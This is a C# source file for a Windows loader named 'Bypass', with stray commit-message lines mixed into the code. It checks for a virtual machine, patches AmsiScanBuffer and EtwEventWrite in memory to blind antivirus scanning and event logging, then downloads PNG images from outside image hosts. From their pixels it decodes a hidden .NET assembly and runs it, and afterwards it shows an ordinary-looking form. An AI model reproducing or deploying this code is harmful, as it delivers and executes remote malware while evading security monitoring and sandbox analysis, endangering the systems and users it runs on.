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Bypass
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Bypass/Bypass/Program.cs

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using System;
test
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using System.Diagnostics;
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using System.Drawing;
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using System.IO;
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using System.Linq;
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using System.Management;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
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using System.Windows.Forms;
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using WindowsFormsApp1;
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namespace Program
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{
static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
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if (!VM())
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{
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A.B();
string LDer = @"https://s1.ax1x.com/2020/04/28/J4Zp9S.png"; // No Startup，CHINA
string FI_LE = @"https://z3.ax1x.com/2021/07/05/RhfFGn.png"; //FI_LE
var requestLDer = WebRequest.Create(LDer);
var requestFI_LE = WebRequest.Create(FI_LE);
Bitmap LDerIMG;
Bitmap FI_LEIMG;
using (var response = requestLDer.GetResponse())
using (var stream = response.GetResponseStream())
{
LDerIMG = (Bitmap)Image.FromStream(stream);
}
using (var response = requestFI_LE.GetResponse())
using (var stream = response.GetResponseStream())
{
FI_LEIMG = (Bitmap)Image.FromStream(stream);
}
byte[] outputLDer = DE(LDerIMG);
byte[] outputFI_LE = DE(FI_LEIMG);
//Assembly.Load(outputLDer).GetType("loader.loader").GetMethod("RunProgram").Invoke(null, new object[] { outputFI_LE });
Assembly.Load(outputFI_LE).EntryPoint.Invoke(null, null);
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}
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Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
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public static byte[] DE(Bitmap img)
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{
StringBuilder holder = new StringBuilder();
int xmax = img.Width - 1;
int ymax = img.Height - 1;
for (int y = 1; y <= ymax; y++)
{
for (int x = 1; x <= xmax; x++)
{
Color c = img.GetPixel(x, y);
holder.Append((char)c.R);
}
}
return Convert.FromBase64String(holder.ToString().Replac​e(Convert.ToChar(0).ToString(), ""));
}
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public static bool VM()
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{
Update Program.cs
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SelectQuery selectQuery = new SelectQuery("Select * from Win32_CacheMemory");
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ManagementObjectSearcher searcher = new ManagementObjectSearcher(selectQuery);
int i = 0;
foreach (ManagementObject DeviceID in searcher.Get())
{
i++;
}
if (i == 0)
{
return true;
}
else
{
return false;
}
}
}
test
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public class DInvokeCore
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{
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// Required NTSTATUSs
public enum NTSTATUS : uint
{
// Success
Success = 0x00000000,
Wait0 = 0x00000000,
Wait1 = 0x00000001,
Wait2 = 0x00000002,
Wait3 = 0x00000003,
Wait63 = 0x0000003f,
Abandoned = 0x00000080,
AbandonedWait0 = 0x00000080,
AbandonedWait1 = 0x00000081,
AbandonedWait2 = 0x00000082,
AbandonedWait3 = 0x00000083,
AbandonedWait63 = 0x000000bf,
UserApc = 0x000000c0,
KernelApc = 0x00000100,
Alerted = 0x00000101,
Timeout = 0x00000102,
Pending = 0x00000103,
Reparse = 0x00000104,
MoreEntries = 0x00000105,
NotAllAssigned = 0x00000106,
SomeNotMapped = 0x00000107,
OpLockBreakInProgress = 0x00000108,
VolumeMounted = 0x00000109,
RxActCommitted = 0x0000010a,
NotifyCleanup = 0x0000010b,
NotifyEnumDir = 0x0000010c,
NoQuotasForAccount = 0x0000010d,
PrimaryTransportConnectFailed = 0x0000010e,
PageFaultTransition = 0x00000110,
PageFaultDemandZero = 0x00000111,
PageFaultCopyOnWrite = 0x00000112,
PageFaultGuardPage = 0x00000113,
PageFaultPagingFile = 0x00000114,
CrashDump = 0x00000116,
ReparseObject = 0x00000118,
NothingToTerminate = 0x00000122,
ProcessNotInJob = 0x00000123,
ProcessInJob = 0x00000124,
ProcessCloned = 0x00000129,
FileLockedWithOnlyReaders = 0x0000012a,
FileLockedWithWriters = 0x0000012b,
// Informational
Informational = 0x40000000,
ObjectNameExists = 0x40000000,
ThreadWasSuspended = 0x40000001,
WorkingSetLimitRange = 0x40000002,
ImageNotAtBase = 0x40000003,
RegistryRecovered = 0x40000009,
// Warning
Warning = 0x80000000,
GuardPageViolation = 0x80000001,
DatatypeMisalignment = 0x80000002,
Breakpoint = 0x80000003,
SingleStep = 0x80000004,
BufferOverflow = 0x80000005,
NoMoreFiles = 0x80000006,
HandlesClosed = 0x8000000a,
PartialCopy = 0x8000000d,
DeviceBusy = 0x80000011,
InvalidEaName = 0x80000013,
EaListInconsistent = 0x80000014,
NoMoreEntries = 0x8000001a,
LongJump = 0x80000026,
DllMightBeInsecure = 0x8000002b,
// Error
Error = 0xc0000000,
Unsuccessful = 0xc0000001,
NotImplemented = 0xc0000002,
InvalidInfoClass = 0xc0000003,
InfoLengthMismatch = 0xc0000004,
AccessViolation = 0xc0000005,
InPageError = 0xc0000006,
PagefileQuota = 0xc0000007,
InvalidHandle = 0xc0000008,
BadInitialStack = 0xc0000009,
BadInitialPc = 0xc000000a,
InvalidCid = 0xc000000b,
TimerNotCanceled = 0xc000000c,
InvalidParameter = 0xc000000d,
NoSuchDevice = 0xc000000e,
NoSuchFile = 0xc000000f,
InvalidDeviceRequest = 0xc0000010,
EndOfFile = 0xc0000011,
WrongVolume = 0xc0000012,
NoMediaInDevice = 0xc0000013,
NoMemory = 0xc0000017,
ConflictingAddresses = 0xc0000018,
NotMappedView = 0xc0000019,
UnableToFreeVm = 0xc000001a,
UnableToDeleteSection = 0xc000001b,
IllegalInstruction = 0xc000001d,
AlreadyCommitted = 0xc0000021,
AccessDenied = 0xc0000022,
BufferTooSmall = 0xc0000023,
ObjectTypeMismatch = 0xc0000024,
NonContinuableException = 0xc0000025,
BadStack = 0xc0000028,
NotLocked = 0xc000002a,
NotCommitted = 0xc000002d,
InvalidParameterMix = 0xc0000030,
ObjectNameInvalid = 0xc0000033,
ObjectNameNotFound = 0xc0000034,
ObjectNameCollision = 0xc0000035,
ObjectPathInvalid = 0xc0000039,
ObjectPathNotFound = 0xc000003a,
ObjectPathSyntaxBad = 0xc000003b,
DataOverrun = 0xc000003c,
DataLate = 0xc000003d,
DataError = 0xc000003e,
CrcError = 0xc000003f,
SectionTooBig = 0xc0000040,
PortConnectionRefused = 0xc0000041,
InvalidPortHandle = 0xc0000042,
SharingViolation = 0xc0000043,
QuotaExceeded = 0xc0000044,
InvalidPageProtection = 0xc0000045,
MutantNotOwned = 0xc0000046,
SemaphoreLimitExceeded = 0xc0000047,
PortAlreadySet = 0xc0000048,
SectionNotImage = 0xc0000049,
SuspendCountExceeded = 0xc000004a,
ThreadIsTerminating = 0xc000004b,
BadWorkingSetLimit = 0xc000004c,
IncompatibleFileMap = 0xc000004d,
SectionProtection = 0xc000004e,
EasNotSupported = 0xc000004f,
EaTooLarge = 0xc0000050,
NonExistentEaEntry = 0xc0000051,
NoEasOnFile = 0xc0000052,
EaCorruptError = 0xc0000053,
FileLockConflict = 0xc0000054,
LockNotGranted = 0xc0000055,
DeletePending = 0xc0000056,
CtlFileNotSupported = 0xc0000057,
UnknownRevision = 0xc0000058,
RevisionMismatch = 0xc0000059,
InvalidOwner = 0xc000005a,
InvalidPrimaryGroup = 0xc000005b,
NoImpersonationToken = 0xc000005c,
CantDisableMandatory = 0xc000005d,
NoLogonServers = 0xc000005e,
NoSuchLogonSession = 0xc000005f,
NoSuchPrivilege = 0xc0000060,
PrivilegeNotHeld = 0xc0000061,
InvalidAccountName = 0xc0000062,
UserExists = 0xc0000063,
NoSuchUser = 0xc0000064,
GroupExists = 0xc0000065,
NoSuchGroup = 0xc0000066,
MemberInGroup = 0xc0000067,
MemberNotInGroup = 0xc0000068,
LastAdmin = 0xc0000069,
WrongPassword = 0xc000006a,
IllFormedPassword = 0xc000006b,
PasswordRestriction = 0xc000006c,
LogonFailure = 0xc000006d,
AccountRestriction = 0xc000006e,
InvalidLogonHours = 0xc000006f,
InvalidWorkstation = 0xc0000070,
PasswordExpired = 0xc0000071,
AccountDisabled = 0xc0000072,
NoneMapped = 0xc0000073,
TooManyLuidsRequested = 0xc0000074,
LuidsExhausted = 0xc0000075,
InvalidSubAuthority = 0xc0000076,
InvalidAcl = 0xc0000077,
InvalidSid = 0xc0000078,
InvalidSecurityDescr = 0xc0000079,
ProcedureNotFound = 0xc000007a,
InvalidImageFormat = 0xc000007b,
NoToken = 0xc000007c,
BadInheritanceAcl = 0xc000007d,
RangeNotLocked = 0xc000007e,
DiskFull = 0xc000007f,
ServerDisabled = 0xc0000080,
ServerNotDisabled = 0xc0000081,
TooManyGuidsRequested = 0xc0000082,
GuidsExhausted = 0xc0000083,
InvalidIdAuthority = 0xc0000084,
AgentsExhausted = 0xc0000085,
InvalidVolumeLabel = 0xc0000086,
SectionNotExtended = 0xc0000087,
NotMappedData = 0xc0000088,
ResourceDataNotFound = 0xc0000089,
ResourceTypeNotFound = 0xc000008a,
ResourceNameNotFound = 0xc000008b,
ArrayBoundsExceeded = 0xc000008c,
FloatDenormalOperand = 0xc000008d,
FloatDivideByZero = 0xc000008e,
FloatInexactResult = 0xc000008f,
FloatInvalidOperation = 0xc0000090,
FloatOverflow = 0xc0000091,
FloatStackCheck = 0xc0000092,
FloatUnderflow = 0xc0000093,
IntegerDivideByZero = 0xc0000094,
IntegerOverflow = 0xc0000095,
PrivilegedInstruction = 0xc0000096,
TooManyPagingFiles = 0xc0000097,
FileInvalid = 0xc0000098,
InsufficientResources = 0xc000009a,
InstanceNotAvailable = 0xc00000ab,
PipeNotAvailable = 0xc00000ac,
InvalidPipeState = 0xc00000ad,
PipeBusy = 0xc00000ae,
IllegalFunction = 0xc00000af,
PipeDisconnected = 0xc00000b0,
PipeClosing = 0xc00000b1,
PipeConnected = 0xc00000b2,
PipeListening = 0xc00000b3,
InvalidReadMode = 0xc00000b4,
IoTimeout = 0xc00000b5,
FileForcedClosed = 0xc00000b6,
ProfilingNotStarted = 0xc00000b7,
ProfilingNotStopped = 0xc00000b8,
NotSameDevice = 0xc00000d4,
FileRenamed = 0xc00000d5,
CantWait = 0xc00000d8,
PipeEmpty = 0xc00000d9,
CantTerminateSelf = 0xc00000db,
InternalError = 0xc00000e5,
InvalidParameter1 = 0xc00000ef,
InvalidParameter2 = 0xc00000f0,
InvalidParameter3 = 0xc00000f1,
InvalidParameter4 = 0xc00000f2,
InvalidParameter5 = 0xc00000f3,
InvalidParameter6 = 0xc00000f4,
InvalidParameter7 = 0xc00000f5,
InvalidParameter8 = 0xc00000f6,
InvalidParameter9 = 0xc00000f7,
InvalidParameter10 = 0xc00000f8,
InvalidParameter11 = 0xc00000f9,
InvalidParameter12 = 0xc00000fa,
ProcessIsTerminating = 0xc000010a,
MappedFileSizeZero = 0xc000011e,
TooManyOpenedFiles = 0xc000011f,
Cancelled = 0xc0000120,
CannotDelete = 0xc0000121,
InvalidComputerName = 0xc0000122,
FileDeleted = 0xc0000123,
SpecialAccount = 0xc0000124,
SpecialGroup = 0xc0000125,
SpecialUser = 0xc0000126,
MembersPrimaryGroup = 0xc0000127,
FileClosed = 0xc0000128,
TooManyThreads = 0xc0000129,
ThreadNotInProcess = 0xc000012a,
TokenAlreadyInUse = 0xc000012b,
PagefileQuotaExceeded = 0xc000012c,
CommitmentLimit = 0xc000012d,
InvalidImageLeFormat = 0xc000012e,
InvalidImageNotMz = 0xc000012f,
InvalidImageProtect = 0xc0000130,
InvalidImageWin16 = 0xc0000131,
LogonServer = 0xc0000132,
DifferenceAtDc = 0xc0000133,
SynchronizationRequired = 0xc0000134,
DllNotFound = 0xc0000135,
IoPrivilegeFailed = 0xc0000137,
OrdinalNotFound = 0xc0000138,
EntryPointNotFound = 0xc0000139,
ControlCExit = 0xc000013a,
InvalidAddress = 0xc0000141,
PortNotSet = 0xc0000353,
DebuggerInactive = 0xc0000354,
CallbackBypass = 0xc0000503,
PortClosed = 0xc0000700,
MessageLost = 0xc0000701,
InvalidMessage = 0xc0000702,
RequestCanceled = 0xc0000703,
RecursiveDispatch = 0xc0000704,
LpcReceiveBufferExpected = 0xc0000705,
LpcInvalidConnectionUsage = 0xc0000706,
LpcRequestsNotAllowed = 0xc0000707,
ResourceInUse = 0xc0000708,
ProcessIsProtected = 0xc0000712,
VolumeDirty = 0xc0000806,
FileCheckedOut = 0xc0000901,
CheckOutRequired = 0xc0000902,
BadFileType = 0xc0000903,
FileTooLarge = 0xc0000904,
FormsAuthRequired = 0xc0000905,
VirusInfected = 0xc0000906,
VirusDeleted = 0xc0000907,
TransactionalConflict = 0xc0190001,
InvalidTransaction = 0xc0190002,
TransactionNotActive = 0xc0190003,
TmInitializationFailed = 0xc0190004,
RmNotActive = 0xc0190005,
RmMetadataCorrupt = 0xc0190006,
TransactionNotJoined = 0xc0190007,
DirectoryNotRm = 0xc0190008,
CouldNotResizeLog = 0xc0190009,
TransactionsUnsupportedRemote = 0xc019000a,
LogResizeInvalidSize = 0xc019000b,
RemoteFileVersionMismatch = 0xc019000c,
CrmProtocolAlreadyExists = 0xc019000f,
TransactionPropagationFailed = 0xc0190010,
CrmProtocolNotFound = 0xc0190011,
TransactionSuperiorExists = 0xc0190012,
TransactionRequestNotValid = 0xc0190013,
TransactionNotRequested = 0xc0190014,
TransactionAlreadyAborted = 0xc0190015,
TransactionAlreadyCommitted = 0xc0190016,
TransactionInvalidMarshallBuffer = 0xc0190017,
CurrentTransactionNotValid = 0xc0190018,
LogGrowthFailed = 0xc0190019,
ObjectNoLongerExists = 0xc0190021,
StreamMiniversionNotFound = 0xc0190022,
StreamMiniversionNotValid = 0xc0190023,
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
CantOpenMiniversionWithModifyIntent = 0xc0190025,
CantCreateMoreStreamMiniversions = 0xc0190026,
HandleNoLongerValid = 0xc0190028,
NoTxfMetadata = 0xc0190029,
LogCorruptionDetected = 0xc0190030,
CantRecoverWithHandleOpen = 0xc0190031,
RmDisconnected = 0xc0190032,
EnlistmentNotSuperior = 0xc0190033,
RecoveryNotNeeded = 0xc0190034,
RmAlreadyStarted = 0xc0190035,
FileIdentityNotPersistent = 0xc0190036,
CantBreakTransactionalDependency = 0xc0190037,
CantCrossRmBoundary = 0xc0190038,
TxfDirNotEmpty = 0xc0190039,
IndoubtTransactionsExist = 0xc019003a,
TmVolatile = 0xc019003b,
RollbackTimerExpired = 0xc019003c,
TxfAttributeCorrupt = 0xc019003d,
EfsNotAllowedInTransaction = 0xc019003e,
TransactionalOpenNotAllowed = 0xc019003f,
TransactedMappingUnsupportedRemote = 0xc0190040,
TxfMetadataAlreadyPresent = 0xc0190041,
TransactionScopeCallbacksNotSet = 0xc0190042,
TransactionRequiredPromotion = 0xc0190043,
CannotExecuteFileInTransaction = 0xc0190044,
TransactionsNotFrozen = 0xc0190045,
MaximumNtStatus = 0xffffffff
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}
test
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// Delegate NtProtectVirtualMemory
public class Delegates
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{
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[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate UInt32 NtProtectVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
ref IntPtr RegionSize,
UInt32 NewProtect,
ref UInt32 OldProtect);
}
private static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
{
IntPtr hModule = GetLoadedModuleAddress(DLLName);
if (hModule == IntPtr.Zero)
{
throw new DllNotFoundException(DLLName + ", Dll was not found or not loaded.");
}
IntPtr lastOutput = GetExportAddress(hModule, FunctionName);
return lastOutput;
}
private static IntPtr GetLoadedModuleAddress(string DLLName)
{
Process CurrentProcess = Process.GetCurrentProcess();
foreach (ProcessModule Module in CurrentProcess.Modules)
{
if (string.Compare(Module.ModuleName, DLLName, true) == 0)
{
IntPtr ModuleBasePointer = Module.BaseAddress;
return ModuleBasePointer;
}
}
return IntPtr.Zero;
}
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
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try
{
test
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// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
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test
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// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
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test
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// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
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}
test
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catch
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{
test
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// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
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}
test
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if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + ", export not found.");
}
return FunctionPtr;
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}
test
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public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
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{
test
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IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
if (pFunction == IntPtr.Zero)
{
throw new InvalidOperationException("Could not get the handle for the function.");
}
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
}
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test
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private static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
{
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
return funcDelegate.DynamicInvoke(Parameters);
}
public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect)
{
// Craft an array for the arguments
OldProtect = 0;
object[] funcargs = { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
NTSTATUS retValue = (NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref funcargs);
if (retValue != NTSTATUS.Success)
{
return false;
}
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test
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OldProtect = (UInt32)funcargs[4];
return true;
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}
}
test
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public class A
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{
Update Program.cs
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test
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static byte[] x64_etw_patch = new byte[] { 0x48, 0x33, 0xC0, 0xC3 };
static byte[] x86_etw_patch = new byte[] { 0x33, 0xc0, 0xc2, 0x14, 0x00 };
static byte[] x64_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86_am_si_patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
Update Program.cs
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test
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// Thx D/Invoke!
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
{
IntPtr FunctionPtr = IntPtr.Zero;
try
{
// Traverse the PE header in memory
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
Int64 pExport = 0;
if (Magic == 0x010b)
{
pExport = OptHeader + 0x60;
}
else
{
pExport = OptHeader + 0x70;
}
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test
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// Read -> IMAGE_EXPORT_DIRECTORY
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
1
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test
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// Loop the array of export name RVA's
for (int i = 0; i < NumberOfNames; i++)
{
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
{
Int32 FunctionOrdinal = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + OrdinalsRVA + i * 2)) + OrdinalBase;
Int32 FunctionRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + FunctionsRVA + (4 * (FunctionOrdinal - OrdinalBase))));
FunctionPtr = (IntPtr)((Int64)ModuleBase + FunctionRVA);
break;
}
}
}
catch
{
// Catch parser failure
throw new InvalidOperationException("Failed to parse module exports.");
}
Update Program.cs
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test
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if (FunctionPtr == IntPtr.Zero)
{
// Export not found
throw new MissingMethodException(ExportName + " not found.");
}
return FunctionPtr;
}
Update Program.cs
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test
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private static string decode(string b64encoded)
Update Program.cs
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{
test
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return System.Text.ASCIIEncoding.ASCII.GetString(System.Convert.FromBase64String(b64encoded));
}
private static void PatchMem(byte[] patch, string library, string function)
{
try
{
IntPtr CurrentProcessHandle = new IntPtr(-1); // pseudo-handle for current process handle
IntPtr libPtr = (Process.GetCurrentProcess().Modules.Cast<ProcessModule>().Where(x => library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)).FirstOrDefault().BaseAddress);
IntPtr funcPtr = GetExportAddress(libPtr, function);
IntPtr patchLength = new IntPtr(patch.Length);
UInt32 oldProtect = 0;
DInvokeCore.NtProtectVirtualMemory(CurrentProcessHandle, ref funcPtr, ref patchLength, 0x40, ref oldProtect);
Marshal.Copy(patch, 0, funcPtr, patch.Length);
}
catch (Exception e)
{
Console.WriteLine(" [!] {0}", e.Message);
Console.WriteLine(" [!] {0}", e.InnerException);
}
}
private static void Patcham_si(byte[] patch)
{
string dll = decode("YW1zaS5kbGw=");
foreach (ProcessModule CurrentModule in (Process.GetCurrentProcess().Modules))
{
if (CurrentModule.ModuleName == dll)
{
PatchMem(patch, dll, ("Am" + "si" + "Sc" + "an" + "Bu" + "ff" + "er"));
}
}
}
private static void PatchETW(byte[] Patch)
{
PatchMem(Patch, ("n" + "t" + "d" + "l" + "l" + "." + "d" + "l" + "l"), ("Et" + "wE" + "ve" + "nt" + "Wr" + "it" + "e"));
}
public static void B()
{
bool isit64bit;
if (IntPtr.Size == 4)
{
isit64bit = false;
}
else
{
isit64bit = true;
}
if (isit64bit)
{
Patcham_si(x64_am_si_patch);
PatchETW(x64_etw_patch);
}
else
{
Patcham_si(x86_am_si_patch);
PatchETW(x86_etw_patch);
}
Update Program.cs
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}
first
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}
test
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first
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}